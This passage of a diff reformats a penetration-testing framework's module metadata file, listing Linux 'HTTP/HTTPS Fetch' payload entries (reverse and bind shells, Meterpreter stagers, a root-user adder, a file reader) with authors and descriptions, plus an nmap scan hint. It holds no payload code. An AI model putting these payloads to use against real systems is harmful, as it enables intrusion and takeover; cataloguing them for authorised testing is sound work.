@@ -202699,9 +207669,7 @@ "payload_cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp": { "name": "HTTP Fetch, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202712,9 +207680,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202728,8 +207694,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202742,9 +207707,7 @@ "payload_cmd/linux/http/x86/meterpreter/reverse_nonx_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202755,9 +207718,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202771,8 +207732,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202785,9 +207745,7 @@ "payload_cmd/linux/http/x86/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202800,9 +207758,7 @@ "tkmru" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202816,8 +207772,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202830,9 +207785,7 @@ "payload_cmd/linux/http/x86/meterpreter/reverse_tcp_uuid": { "name": "HTTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202845,9 +207798,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -202861,8 +207812,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202875,9 +207825,7 @@ "payload_cmd/linux/http/x86/meterpreter_reverse_http": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202889,9 +207837,7 @@ "timwr" ], "description": "Fetch and execute a x86 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202905,8 +207851,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202917,9 +207862,7 @@ "payload_cmd/linux/http/x86/meterpreter_reverse_https": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202931,9 +207874,7 @@ "timwr" ], "description": "Fetch and execute a x86 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202947,8 +207888,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -202959,9 +207899,7 @@ "payload_cmd/linux/http/x86/meterpreter_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/linux/http/x86/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -202973,9 +207911,7 @@ "timwr" ], "description": "Fetch and execute a x86 payload from an HTTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -202989,8 +207925,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203001,9 +207936,7 @@ "payload_cmd/linux/http/x86/metsvc_bind_tcp": { "name": "HTTP Fetch, Linux Meterpreter Service, Bind TCP", "fullname": "payload/cmd/linux/http/x86/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203013,9 +207946,7 @@ "hdm " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203029,8 +207960,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203041,9 +207971,7 @@ "payload_cmd/linux/http/x86/metsvc_reverse_tcp": { "name": "HTTP Fetch, Linux Meterpreter Service, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/x86/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203053,9 +207981,7 @@ "hdm " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203069,8 +207995,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203081,9 +208006,7 @@ "payload_cmd/linux/http/x86/read_file": { "name": "HTTP Fetch, Linux Read File", "fullname": "payload/cmd/linux/http/x86/read_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203093,9 +208016,7 @@ "hal" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nRead up to 4096 bytes from the local file system and write it back out to the specified file descriptor", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203109,8 +208030,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203121,9 +208041,7 @@ "payload_cmd/linux/http/x86/shell/bind_ipv6_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/http/x86/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203135,9 +208053,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203151,8 +208067,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203165,9 +208080,7 @@ "payload_cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203180,9 +208093,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203196,8 +208107,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203210,9 +208120,7 @@ "payload_cmd/linux/http/x86/shell/bind_nonx_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/http/x86/shell/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203222,9 +208130,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203238,8 +208144,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203252,9 +208157,7 @@ "payload_cmd/linux/http/x86/shell/bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/http/x86/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203265,9 +208168,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203281,8 +208182,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203295,9 +208195,7 @@ "payload_cmd/linux/http/x86/shell/bind_tcp_uuid": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/http/x86/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203309,9 +208207,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203325,8 +208221,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203339,9 +208234,7 @@ "payload_cmd/linux/http/x86/shell/find_tag": { "name": "HTTP Fetch, Linux Command Shell, Find Tag Stager", "fullname": "payload/cmd/linux/http/x86/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203351,9 +208244,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203367,8 +208258,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203381,9 +208271,7 @@ "payload_cmd/linux/http/x86/shell/reverse_ipv6_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/linux/http/x86/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203394,9 +208282,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203410,8 +208296,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203424,9 +208309,7 @@ "payload_cmd/linux/http/x86/shell/reverse_nonx_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x86/shell/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203436,9 +208319,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203452,8 +208333,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203466,9 +208346,7 @@ "payload_cmd/linux/http/x86/shell/reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x86/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203480,9 +208358,7 @@ "tkmru" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203496,8 +208372,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203510,9 +208385,7 @@ "payload_cmd/linux/http/x86/shell/reverse_tcp_uuid": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/http/x86/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203524,9 +208397,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203540,8 +208411,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203554,9 +208424,7 @@ "payload_cmd/linux/http/x86/shell_bind_ipv6_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/cmd/linux/http/x86/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203566,9 +208434,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection over IPv6 and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203582,8 +208448,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203594,9 +208459,7 @@ "payload_cmd/linux/http/x86/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/http/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203606,9 +208469,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203622,8 +208483,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203634,9 +208494,7 @@ "payload_cmd/linux/http/x86/shell_bind_tcp_random_port": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/cmd/linux/http/x86/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203646,7 +208504,7 @@ "Geyslan G. Bem ", "Aleh Boitsau " ], - "description": "Fetch and execute a x86 payload from an HTTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "description": "Fetch and execute a x86 payload from an HTTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm", "EDB-41631" @@ -203664,8 +208522,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203676,9 +208533,7 @@ "payload_cmd/linux/http/x86/shell_find_port": { "name": "HTTP Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/http/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203688,9 +208543,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203704,8 +208557,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203716,9 +208568,7 @@ "payload_cmd/linux/http/x86/shell_find_tag": { "name": "HTTP Fetch, Linux Command Shell, Find Tag Inline", "fullname": "payload/cmd/linux/http/x86/shell_find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203727,10 +208577,8 @@ "Spencer McIntyre", "skape " ], - "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a shell on an established connection (proxy/nat safe)", - "references": [ - - ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a shell on an established connection (proxy/NAT safe)", + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203744,8 +208592,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203756,9 +208603,7 @@ "payload_cmd/linux/http/x86/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/http/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203769,9 +208614,7 @@ "joev " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203785,8 +208628,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203797,9 +208639,7 @@ "payload_cmd/linux/http/x86/shell_reverse_tcp_ipv6": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/cmd/linux/http/x86/shell_reverse_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203809,9 +208649,7 @@ "Matteo Malvica " ], "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203825,8 +208663,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203837,9 +208674,7 @@ "payload_cmd/linux/https/aarch64/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/aarch64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203849,9 +208684,7 @@ "Adam Cammack " ], "description": "Fetch and execute an AARCH64 payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203865,8 +208698,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203879,9 +208711,7 @@ "payload_cmd/linux/https/aarch64/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/aarch64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203893,9 +208723,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203909,8 +208737,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203921,9 +208748,7 @@ "payload_cmd/linux/https/aarch64/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/aarch64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203935,9 +208760,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203951,8 +208774,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -203963,9 +208785,7 @@ "payload_cmd/linux/https/aarch64/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/aarch64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -203977,9 +208797,7 @@ "timwr" ], "description": "Fetch and execute an AARCH64 payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -203993,8 +208811,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204005,9 +208822,7 @@ "payload_cmd/linux/https/aarch64/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/aarch64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204016,9 +208831,7 @@ "Spencer McIntyre" ], "description": "Fetch and execute an AARCH64 payload from an HTTPS server.\ndup2 socket in x12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204032,8 +208845,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204046,9 +208858,7 @@ "payload_cmd/linux/https/aarch64/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/https/aarch64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204057,9 +208867,7 @@ "Spencer McIntyre" ], "description": "Fetch and execute an AARCH64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204073,8 +208881,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204085,9 +208892,7 @@ "payload_cmd/linux/https/armbe/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/armbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204099,9 +208904,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204115,8 +208918,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204127,9 +208929,7 @@ "payload_cmd/linux/https/armbe/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/armbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204141,9 +208941,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204157,8 +208955,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204169,9 +208966,7 @@ "payload_cmd/linux/https/armbe/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/armbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204183,9 +208978,7 @@ "timwr" ], "description": "Fetch and execute an ARMBE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204199,8 +208992,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204211,9 +209003,7 @@ "payload_cmd/linux/https/armbe/shell_bind_tcp": { "name": "HTTPS Fetch, Linux ARM Big Endian Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/https/armbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204239,8 +209029,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204251,9 +209040,7 @@ "payload_cmd/linux/https/armle/adduser": { "name": "HTTPS Fetch, Linux Add User", "fullname": "payload/cmd/linux/https/armle/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204263,9 +209050,7 @@ "Jonathan Salwan" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\nCreate a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204279,8 +209064,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204291,9 +209075,7 @@ "payload_cmd/linux/https/armle/exec": { "name": "HTTPS Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/https/armle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204303,9 +209085,7 @@ "Jonathan Salwan" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\nExecute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204319,8 +209099,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204331,9 +209110,7 @@ "payload_cmd/linux/https/armle/meterpreter/bind_tcp": { "name": "HTTPS Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/https/armle/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204344,9 +209121,7 @@ "nemo " ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204360,8 +209135,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204374,9 +209148,7 @@ "payload_cmd/linux/https/armle/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/https/armle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204388,9 +209160,7 @@ "tkmru" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204404,8 +209174,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204418,9 +209187,7 @@ "payload_cmd/linux/https/armle/meterpreter_reverse_http": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/armle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204432,9 +209199,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204448,8 +209213,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -204460,9 +209224,7 @@ "payload_cmd/linux/https/armle/meterpreter_reverse_https": { "name": "HTTPS Fetch", "fullname": "payload/cmd/linux/https/armle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -204474,9 +209236,7 @@ "timwr" ], "description": "Fetch and execute an ARMLE payload from an HTTPS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -204490,8 +209250,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 